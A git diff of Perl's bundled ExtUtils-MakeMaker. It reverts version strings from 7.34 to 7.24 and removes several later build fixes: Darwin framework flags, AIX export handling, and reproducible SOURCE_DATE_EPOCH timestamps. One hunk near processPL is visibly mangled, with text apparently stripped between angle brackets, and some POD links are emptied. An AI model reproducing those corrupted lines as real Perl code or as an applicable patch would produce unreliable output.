 foreach my $key (qw(INST_LIB INST_ARCHLIB)) {
     print "$key = $mm->{$key}\n";
 }
-END
-
-             'Big-Dummy/lib/Dummy/Split.pm'     => <<'END',
-package Dummy::Split;
-$VERSION = 0.02;
-use AutoLoader 'AUTOLOAD';
-
-__END__
-
-sub split { print "split\n"; }
-
-1;
 END
 
             );
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command.pm
index 4924c81fbea2..c9ff022f0336 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command.pm
@@ -7,7 +7,7 @@ use vars qw(@ISA @EXPORT @EXPORT_OK $VERSION);
 @ISA       = qw(Exporter);
 @EXPORT    = qw(cp rm_f rm_rf mv cat eqtime mkpath touch test_f test_d chmod
                 dos2unix);
-$VERSION = '7.34';
+$VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 my $Is_VMS   = $^O eq 'VMS';
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command/MM.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command/MM.pm
index 0323ed40fa7f..69779b2912e4 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command/MM.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command/MM.pm
@@ -10,7 +10,7 @@ our @ISA = qw(Exporter);
 
 our @EXPORT  = qw(test_harness pod2man perllocal_install uninstall
                   warn_if_old_packlist test_s cp_nonempty);
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 my $Is_VMS = $^O eq 'VMS';
@@ -205,7 +205,7 @@ Key/value pairs are extra information about the module.  Fields include:
     installed into      which directory your module was out into
     LINKTYPE            dynamic or static linking
     VERSION             module version number
-    EXE_FILES           any executables installed in a space separated
+    EXE_FILES           any executables installed in a space seperated
                         list
 
 =cut
@@ -219,8 +219,7 @@ sub perllocal_install {
                            : @ARGV;
 
     my $pod;
-    my $time = gmtime($ENV{SOURCE_DATE_EPOCH} || time);
-    $pod = sprintf <<'POD', scalar($time), $type, $name, $name;
+    $pod = sprintf <<'POD', scalar(localtime), $type, $name, $name;
  =head2 %s: C<%s> L<%s|%s>
 
  =over 4
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist.pm
index 700cb7347ab6..7b2ca535ce77 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist.pm
@@ -2,7 +2,7 @@ package ExtUtils::Liblist;
 
 use strict;
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 use File::Spec;
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist/Kid.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist/Kid.pm
index a6da855862fc..a7fae86276de 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist/Kid.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist/Kid.pm
@@ -11,7 +11,7 @@ use 5.006;
 
 use strict;
 use warnings;
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 use ExtUtils::MakeMaker::Config;
@@ -57,12 +57,6 @@ sub _unix_os2_ext {
     my ( $pwd )   = cwd();    # from Cwd.pm
     my ( $found ) = 0;
 
-    if ( $^O eq 'darwin' or $^O eq 'next' )  {
-        # 'escape' Mach-O ld -framework and -F flags, so they aren't dropped later on
-        $potential_libs =~ s/(^|\s)(-(?:weak_|reexport_|lazy_)?framework)\s+(\S+)/$1-Wl,$2 -Wl,$3/g;
-        $potential_libs =~ s/(^|\s)(-F)\s*(\S+)/$1-Wl,$2 -Wl,$3/g;
-    }
-
     foreach my $thislib ( split ' ', $potential_libs ) {
         my ( $custom_name ) = '';
 
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM.pm
index b2c360bca3a5..b32793238813 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM.pm
@@ -3,7 +3,7 @@ package ExtUtils::MM;
 use strict;
 use ExtUtils::MakeMaker::Config;
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 require ExtUtils::Liblist;
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_AIX.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_AIX.pm
index b114ee49d305..ea646606fc44 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_AIX.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_AIX.pm
@@ -1,10 +1,9 @@
 package ExtUtils::MM_AIX;
 
 use strict;
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
-use ExtUtils::MakeMaker::Config;
 require ExtUtils::MM_Unix;
 our @ISA = qw(ExtUtils::MM_Unix);
 
@@ -35,7 +34,13 @@ Define DL_FUNCS and DL_VARS and write the *.exp files.
 sub dlsyms {
     my($self,%attribs) = @_;
     return '' unless $self->needs_linking;
-    join "\n", $self->xs_dlsyms_iterator(\%attribs);
+    my @m;
+    # these will need XSMULTI-fying but maybe that already happens
+    push @m,"\ndynamic :: $self->{BASEEXT}.exp\n\n"
+      unless $self->{SKIPHASH}{'dynamic'}; # dynamic and static are subs, so...
+    push @m,"\nstatic :: $self->{BASEEXT}.exp\n\n"
+      unless $self->{SKIPHASH}{'static'};  # we avoid a warning if we tick them
+    join "\n", @m, $self->xs_dlsyms_iterator(\%attribs);
 }
 
 =head3 xs_dlsyms_ext
@@ -48,21 +53,6 @@ sub xs_dlsyms_ext {
     '.exp';
 }
 
-sub xs_dlsyms_arg {
-    my($self, $file) = @_;
-    return qq{-bE:${file}};
-}
-
-sub init_others {
-    my $self = shift;
-    $self->SUPER::init_others;
-    # perl "hints" add -bE:$(BASEEXT).exp to LDDLFLAGS. strip that out
-    # so right value can be added by xs_make_dynamic_lib to work for XSMULTI
-    $self->{LDDLFLAGS} ||= $Config{lddlflags};
-    $self->{LDDLFLAGS} =~ s#(\s*)\S*\Q$(BASEEXT)\E\S*(\s*)#$1$2#;
-    return;
-}
-
 =head1 AUTHOR
 
 Michael G Schwern  with code from ExtUtils::MM_Unix
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Any.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Any.pm
index 1a3893c30b6b..433a8dd7a31d 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Any.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Any.pm
@@ -1,7 +1,7 @@
 package ExtUtils::MM_Any;
 
 use strict;
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 use Carp;
@@ -910,17 +910,6 @@ MAKE_FRAG
 }
 
 
-=head3 xs_dlsyms_arg
-
-Returns command-line arg(s) to linker for file listing dlsyms to export.
-Defaults to returning empty string, can be overridden by e.g. AIX.
-
-=cut
-
-sub xs_dlsyms_arg {
-    return '';
-}
-
 =head3 xs_dlsyms_ext
 
 Returns file-extension for C method's output file,
@@ -1329,10 +1318,8 @@ sub metafile_data {
     # needs to be based on the original version
     my $v1_add = _metaspec_version($meta_add) !~ /^2/;
 
-    my ($add_v, $merge_v) = map _metaspec_version($_), $meta_add, $meta_merge;
     for my $frag ($meta_add, $meta_merge) {
-        my $def_v = $frag == $meta_add ? $merge_v : $add_v;
-        $frag = CPAN::Meta::Converter->new($frag, default_version => $def_v)->upgrade_fragment;
+        $frag = CPAN::Meta::Converter->new($frag, default_version => "1.4")->upgrade_fragment;
     }
 
     # if we upgraded a 1.x _ADD fragment, we gave it a prereqs key that
@@ -2899,20 +2886,13 @@ Takes a path to a file or dir and returns an empty string if we don't
 want to include this file in the library.  Otherwise it returns the
 the $path unchanged.
 
-Mainly used to exclude version control administrative directories
-and base-level F from installation.
+Mainly used to exclude version control administrative directories from
+installation.
 
 =cut
 
 sub libscan {
     my($self,$path) = @_;
-
-    if ($path =~ m<^README\.pod$>i) {
-        warn "WARNING: Older versions of ExtUtils::MakeMaker may errantly install $path as part of this distribution. It is recommended to avoid using this path in CPAN modules.\n"
-          unless $ENV{PERL_CORE};
-        return '';
-    }
-
     my($dirs,$file) = ($self->splitpath($path))[1,2];
     return '' if grep /^(?:RCS|CVS|SCCS|\.svn|_darcs)$/,
                      $self->splitdir($dirs), $file;
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_BeOS.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_BeOS.pm
index 6fb7911390cb..9ede79714642 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_BeOS.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_BeOS.pm
@@ -26,7 +26,7 @@ require ExtUtils::MM_Any;
 require ExtUtils::MM_Unix;
 
 our @ISA = qw( ExtUtils::MM_Any ExtUtils::MM_Unix );
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Cygwin.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Cygwin.pm
index 934e65f913d1..e180a44530e3 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Cygwin.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Cygwin.pm
@@ -9,7 +9,7 @@ require ExtUtils::MM_Unix;
 require ExtUtils::MM_Win32;
 our @ISA = qw( ExtUtils::MM_Unix );
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_DOS.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_DOS.pm
index 33a8b199df34..a453278b2fd7 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_DOS.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_DOS.pm
@@ -2,7 +2,7 @@ package ExtUtils::MM_DOS;
 
 use strict;
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Any;
@@ -51,14 +51,6 @@ sub replace_manpage_separator {
     return $man;
 }
 
-=item xs_static_lib_is_xs
-
-=cut
-
-sub xs_static_lib_is_xs {
-    return 1;
-}
-
 =back
 
 =head1 AUTHOR
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Darwin.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Darwin.pm
index f5359dca0957..03dfe27376c3 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Darwin.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Darwin.pm
@@ -7,7 +7,7 @@ BEGIN {
     our @ISA = qw( ExtUtils::MM_Unix );
 }
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 
@@ -24,7 +24,7 @@ ExtUtils::MM_Darwin - special behaviors for OS X
 See L for L for documentation on the
 methods overridden here.
 
-=head2 Overridden Methods
+=head2 Overriden Methods
 
 =head3 init_dist
 
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_MacOS.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_MacOS.pm
index 5646ae334065..8207502f71a6 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_MacOS.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_MacOS.pm
@@ -2,7 +2,7 @@ package ExtUtils::MM_MacOS;
 
 use strict;
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 sub new {
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_NW5.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_NW5.pm
index c88c4fabe981..6ec9b7cb8ff4 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_NW5.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_NW5.pm
@@ -22,7 +22,7 @@ use strict;
 use ExtUtils::MakeMaker::Config;
 use File::Basename;
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Win32;
@@ -137,14 +137,6 @@ sub static_lib_pure_cmd {
                                   : '-type library -o $@ ' . $src));
 }
 
-=item xs_static_lib_is_xs
-
-=cut
-
-sub xs_static_lib_is_xs {
-    return 1;
-}
-
 =item dynamic_lib
 
 Override of utility methods for OS-specific work.
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_OS2.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_OS2.pm
index dfa6dca49167..f23ec5a2a6cd 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_OS2.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_OS2.pm
@@ -5,7 +5,7 @@ use strict;
 use ExtUtils::MakeMaker qw(neatvalue);
 use File::Spec;
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Any;
@@ -131,14 +131,6 @@ sub os_flavor {
     return('OS/2');
 }
 
-=item xs_static_lib_is_xs
-
-=cut
-
-sub xs_static_lib_is_xs {
-    return 1;
-}
-
 =back
 
 =cut
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_QNX.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_QNX.pm
index 362d7d920fb9..6475983eb866 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_QNX.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_QNX.pm
@@ -1,7 +1,7 @@
 package ExtUtils::MM_QNX;
 
 use strict;
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Unix;
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_UWIN.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_UWIN.pm
index cc95c415e81f..e7e65ef2adea 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_UWIN.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_UWIN.pm
@@ -1,7 +1,7 @@
 package ExtUtils::MM_UWIN;
 
 use strict;
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Unix;
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm
index fe53be12efd3..66a24d7838ba 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm
@@ -14,7 +14,7 @@ use ExtUtils::MakeMaker qw($Verbose neatvalue _sprintf562);
 
 # If we make $VERSION an our variable parse_version() breaks
 use vars qw($VERSION);
-$VERSION = '7.34';
+$VERSION = '7.24';
 $VERSION = eval $VERSION;  ## no critic [BuiltinFunctions::ProhibitStringyEval]
 
 require ExtUtils::MM_Any;
@@ -932,7 +932,6 @@ sub dynamic_lib {
     return '' unless $self->has_link_code;
     my @m = $self->xs_dynamic_lib_macros(\%attribs);
     my @libs;
-    my $dlsyms_ext = eval { $self->xs_dlsyms_ext };
     if ($self->{XSMULTI}) {
         my @exts = $self->_xs_list_basenames;
         for my $ext (@exts) {
@@ -953,14 +952,10 @@ sub dynamic_lib {
             my $ldfrom = $self->_xsbuild_value('xs', $ext, 'LDFROM');
             $ldfrom = $objfile unless defined $ldfrom;
             my $exportlist = "$ext.def";
-            my @libchunk = ($objfile, $instfile, $instdir, $ldfrom, $exportlist);
-            push @libchunk, $dlsyms_ext ? $ext.$dlsyms_ext : undef;
-            push @libs, \@libchunk;
+            push @libs, [ $objfile, $instfile, $instdir, $ldfrom, $exportlist ];
         }
     } else {
-        my @libchunk = qw($(OBJECT) $(INST_DYNAMIC) $(INST_ARCHAUTODIR) $(LDFROM) $(EXPORT_LIST));
-        push @libchunk, $dlsyms_ext ? '$(BASEEXT)'.$dlsyms_ext : undef;
-        @libs = (\@libchunk);
+        @libs = ([ qw($(OBJECT) $(INST_DYNAMIC) $(INST_ARCHAUTODIR) $(LDFROM) $(EXPORT_LIST)) ]);
     }
     push @m, map { $self->xs_make_dynamic_lib(\%attribs, @$_); } @libs;
 
@@ -1004,11 +999,10 @@ Defines the recipes for the C section.
 =cut
 
 sub xs_make_dynamic_lib {
-    my ($self, $attribs, $object, $to, $todir, $ldfrom, $exportlist, $dlsyms) = @_;
+    my ($self, $attribs, $object, $to, $todir, $ldfrom, $exportlist) = @_;
     $exportlist = '' if $exportlist ne '$(EXPORT_LIST)';
     my $armaybe = $self->_xs_armaybe($attribs);
-    my @m = sprintf '%s : %s $(MYEXTLIB) %s$(DFSEP).exists %s $(PERL_ARCHIVEDEP) $(PERL_ARCHIVE_AFTER) $(INST_DYNAMIC_DEP) %s'."\n", $to, $object, $todir, $exportlist, ($dlsyms || '');
-    my $dlsyms_arg = $self->xs_dlsyms_arg($dlsyms);
+    my @m = sprintf '%s : %s $(MYEXTLIB) %s$(DFSEP).exists %s $(PERL_ARCHIVEDEP) $(PERL_ARCHIVE_AFTER) $(INST_DYNAMIC_DEP)'."\n", $to, $object, $todir, $exportlist;
     if ($armaybe ne ':'){
         $ldfrom = 'tmp$(LIB_EXT)';
         push(@m,"	\$(ARMAYBE) cr $ldfrom $object\n");
@@ -1049,8 +1043,8 @@ sub xs_make_dynamic_lib {
         $ld_run_path_shell = 'LD_RUN_PATH="$(LD_RUN_PATH)" ';
     }
 
-    push @m, sprintf <<'MAKE', $ld_run_path_shell, $ldrun, $dlsyms_arg, $ldfrom, $self->xs_obj_opt('$@'), $libs, $exportlist;
-	%s$(LD) %s $(LDDLFLAGS) %s %s $(OTHERLDFLAGS) %s $(MYEXTLIB) \
+    push @m, sprintf <<'MAKE', $ld_run_path_shell, $ldrun, $ldfrom, $self->xs_obj_opt('$@'), $libs, $exportlist;
+	%s$(LD) %s $(LDDLFLAGS) %s $(OTHERLDFLAGS) %s $(MYEXTLIB) \
 	  $(PERL_ARCHIVE) %s $(PERL_ARCHIVE_AFTER) %s \
 	  $(INST_DYNAMIC_FIX)
 	$(CHMOD) $(PERM_RWX) $@
@@ -2530,13 +2524,68 @@ $(MAKE_APERL_FILE) : static $(FIRST_MAKEFILE) pm_to_blib
     $linkcmd =~ s,(perl\.exp),\$(PERL_INC)/$1,;
 
     # Which *.a files could we make use of...
-    my $staticlib21 = $self->_find_static_libs($searchdirs);
+    my %static;
+    require File::Find;
+    # don't use File::Spec here because on Win32 F::F still uses "/"
+    my $installed_version = join('/',
+	'auto', $self->{FULLEXT}, "$self->{BASEEXT}$self->{LIB_EXT}"
+    );
+    File::Find::find(sub {
+	return unless m/\Q$self->{LIB_EXT}\E$/;
+
+        # Skip perl's libraries.
+        return if m/^libperl/ or m/^perl\Q$self->{LIB_EXT}\E$/;
+
+	# Skip purified versions of libraries
+        # (e.g., DynaLoader_pure_p1_c0_032.a)
+	return if m/_pure_\w+_\w+_\w+\.\w+$/ and -f "$File::Find::dir/.pure";
+
+	if( exists $self->{INCLUDE_EXT} ){
+		my $found = 0;
+
+		(my $xx = $File::Find::name) =~ s,.*?/auto/,,s;
+		$xx =~ s,/?$_,,;
+		$xx =~ s,/,::,g;
+
+		# Throw away anything not explicitly marked for inclusion.
+		# DynaLoader is implied.
+		foreach my $incl ((@{$self->{INCLUDE_EXT}},'DynaLoader')){
+			if( $xx eq $incl ){
+				$found++;
+				last;
+			}
+		}
+		return unless $found;
+	}
+	elsif( exists $self->{EXCLUDE_EXT} ){
+		(my $xx = $File::Find::name) =~ s,.*?/auto/,,s;
+		$xx =~ s,/?$_,,;
+		$xx =~ s,/,::,g;
+
+		# Throw away anything explicitly marked for exclusion
+		foreach my $excl (@{$self->{EXCLUDE_EXT}}){
+			return if( $xx eq $excl );
+		}
+	}
+
+	# don't include the installed version of this extension. I
+	# leave this line here, although it is not necessary anymore:
+	# I patched minimod.PL instead, so that Miniperl.pm won't
+	# include duplicates
+
+	# Once the patch to minimod.PL is in the distribution, I can
+	# drop it
+	return if $File::Find::name =~ m:\Q$installed_version\E\z:;
+	use Cwd 'cwd';
+	$static{cwd() . "/" . $_}++;
+    }, grep( -d $_, @{$searchdirs || []}) );
+
     # We trust that what has been handed in as argument, will be buildable
     $static = [] unless $static;
-    @$staticlib21{@{$static}} = (1) x @{$static};
+    @static{@{$static}} = (1) x @{$static};
 
     $extra = [] unless $extra && ref $extra eq 'ARRAY';
-    for (sort keys %$staticlib21) {
+    for (sort keys %static) {
 	next unless /\Q$self->{LIB_EXT}\E\z/;
 	$_ = dirname($_) . "/extralibs.ld";
 	push @$extra, $_;
@@ -2550,7 +2599,7 @@ $(MAKE_APERL_FILE) : static $(FIRST_MAKEFILE) pm_to_blib
 # MAP_STATIC doesn't look into subdirs yet. Once "all" is made and we
 # regenerate the Makefiles, MAP_STATIC and the dependencies for
 # extralibs.all are computed correctly
-    my @map_static = reverse sort keys %$staticlib21;
+    my @map_static = reverse sort keys %static;
     push @m, "
 MAP_LINKCMD   = $linkcmd
 MAP_STATIC    = ", join(" \\\n\t", map { qq{"$_"} } @map_static), "
@@ -2662,92 +2711,6 @@ map_clean :
     join '', @m;
 }
 
-# utility method
-sub _find_static_libs {
-    my ($self, $searchdirs) = @_;
-    # don't use File::Spec here because on Win32 F::F still uses "/"
-    my $installed_version = join('/',
-	'auto', $self->{FULLEXT}, "$self->{BASEEXT}$self->{LIB_EXT}"
-    );
-    my %staticlib21;
-    require File::Find;
-    File::Find::find(sub {
-	if ($File::Find::name =~ m{/auto/share\z}) {
-	    # in a subdir of auto/share, prune because e.g.
-	    # Alien::pkgconfig uses File::ShareDir to put .a files
-	    # there. do not want
-	    $File::Find::prune = 1;
-	    return;
-	}
-
-	return unless m/\Q$self->{LIB_EXT}\E$/;
-
-	return unless -f 'extralibs.ld'; # this checks is a "proper" XS installation
-
-        # Skip perl's libraries.
-        return if m/^libperl/ or m/^perl\Q$self->{LIB_EXT}\E$/;
-
-	# Skip purified versions of libraries
-        # (e.g., DynaLoader_pure_p1_c0_032.a)
-	return if m/_pure_\w+_\w+_\w+\.\w+$/ and -f "$File::Find::dir/.pure";
-
-	if( exists $self->{INCLUDE_EXT} ){
-		my $found = 0;
-
-		(my $xx = $File::Find::name) =~ s,.*?/auto/,,s;
-		$xx =~ s,/?$_,,;
-		$xx =~ s,/,::,g;
-
-		# Throw away anything not explicitly marked for inclusion.
-		# DynaLoader is implied.
-		foreach my $incl ((@{$self->{INCLUDE_EXT}},'DynaLoader')){
-			if( $xx eq $incl ){
-				$found++;
-				last;
-			}
-		}
-		return unless $found;
-	}
-	elsif( exists $self->{EXCLUDE_EXT} ){
-		(my $xx = $File::Find::name) =~ s,.*?/auto/,,s;
-		$xx =~ s,/?$_,,;
-		$xx =~ s,/,::,g;
-
-		# Throw away anything explicitly marked for exclusion
-		foreach my $excl (@{$self->{EXCLUDE_EXT}}){
-			return if( $xx eq $excl );
-		}
-	}
-
-	# don't include the installed version of this extension. I
-	# leave this line here, although it is not necessary anymore:
-	# I patched minimod.PL instead, so that Miniperl.pm won't
-	# include duplicates
-
-	# Once the patch to minimod.PL is in the distribution, I can
-	# drop it
-	return if $File::Find::name =~ m:\Q$installed_version\E\z:;
-	return if !$self->xs_static_lib_is_xs($_);
-	use Cwd 'cwd';
-	$staticlib21{cwd() . "/" . $_}++;
-    }, grep( -d $_, map { $self->catdir($_, 'auto') } @{$searchdirs || []}) );
-    return \%staticlib21;
-}
-
-=item xs_static_lib_is_xs (o)
-
-Called by a utility method of makeaperl. Checks whether a given file
-is an XS library by seeing whether it defines any symbols starting
-with C.
-
-=cut
-
-sub xs_static_lib_is_xs {
-    my ($self, $libfile) = @_;
-    my $devnull = File::Spec->devnull;
-    return `nm $libfile 2>$devnull` =~ /\bboot_/;
-}
-
 =item makefile (o)
 
 Defines how to rewrite the Makefile.
@@ -3296,7 +3259,7 @@ sub processPL {
 
             $m .= <{SKIPHASH}{$_}, $linktype, "pure_all"; # no depend on a linktype if SKIPped
+        my $directdeps = "$linktype pure_all";
         push @m, "subdirs-test_$linktype :: $directdeps\n";
         foreach my $dir (@{ $self->{DIR} }) {
             my $test = $self->cd($dir, "\$(MAKE) test_$linktype \$(PASTHRU)");
@@ -3906,7 +3869,7 @@ Obsolete, deprecated method. Not used since Version 5.21.
 sub writedoc {
 # --- perllocal.pod section ---
     my($self,$what,$name,@attribs)=@_;
-    my $time = gmtime($ENV{SOURCE_DATE_EPOCH} || time);
+    my $time = localtime;
     print "=head2 $time: $what C<$name>\n\n=over 4\n\n=item *\n\n";
     print join "\n\n=item *\n\n", map("C<$_>",@attribs);
     print "\n\n=back\n\n";
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VMS.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VMS.pm
index b6fbccfe3495..ed3ec8cab088 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VMS.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VMS.pm
@@ -15,7 +15,7 @@ BEGIN {
 
 use File::Basename;
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Any;
@@ -1242,29 +1242,6 @@ sub xs_make_static_lib {
 }
 
 
-=item static_lib_pure_cmd (override)
-
-Use VMS commands to manipulate object library.
-
-=cut
-
-sub static_lib_pure_cmd {
-    my ($self, $from) = @_;
-
-    sprintf <<'MAKE_FRAG', $from;
-	If F$Search("$(MMS$TARGET)").eqs."" Then Library/Object/Create $(MMS$TARGET)
-	Library/Object/Replace $(MMS$TARGET) %s
-MAKE_FRAG
-}
-
-=item xs_static_lib_is_xs
-
-=cut
-
-sub xs_static_lib_is_xs {
-    return 1;
-}
-
 =item extra_clean_files
 
 Clean up some OS specific files.  Plus the temp file used to shorten
@@ -1309,7 +1286,7 @@ sub tarfile_target {
 $(DISTVNAME).tar$(SUFFIX) : distdir
 	$(PREOP)
 	$(TO_UNIX)
-	$(TAR) "$(TARFLAGS)" $(DISTVNAME).tar [.$(DISTVNAME)...]
+        $(TAR) "$(TARFLAGS)" $(DISTVNAME).tar [.$(DISTVNAME)...]
 	$(RM_RF) $(DISTVNAME)
 	$(COMPRESS) $(DISTVNAME).tar
 	$(POSTOP)
@@ -1359,7 +1336,7 @@ pure_install :: pure_$(INSTALLDIRS)_install
 	$(NOECHO) $(NOOP)
 
 doc_install :: doc_$(INSTALLDIRS)_install
-	$(NOECHO) $(NOOP)
+        $(NOECHO) $(NOOP)
 
 pure__install : pure_site_install
 	$(NOECHO) $(ECHO) "INSTALLDIRS not defined, defaulting to INSTALLDIRS=site"
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VOS.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VOS.pm
index 66c7ff747229..c176118d4d3e 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VOS.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VOS.pm
@@ -1,7 +1,7 @@
 package ExtUtils::MM_VOS;
 
 use strict;
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Unix;
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win32.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win32.pm
index 43c974d5b410..9844d837b7b5 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win32.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win32.pm
@@ -27,7 +27,7 @@ use ExtUtils::MakeMaker qw(neatvalue _sprintf562);
 require ExtUtils::MM_Any;
 require ExtUtils::MM_Unix;
 our @ISA = qw( ExtUtils::MM_Any ExtUtils::MM_Unix );
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 $ENV{EMXSHELL} = 'sh'; # to run `commands`
diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win95.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win95.pm
index 85a80c638b01..0d6f0e31bfce 100644
--- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win95.pm
+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win95.pm
@@ -2,7 +2,7 @@ package ExtUtils::MM_Win95;
 
 use strict;
 
-our $VERSION = '7.34';
+our $VERSION = '7.24';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Win32;
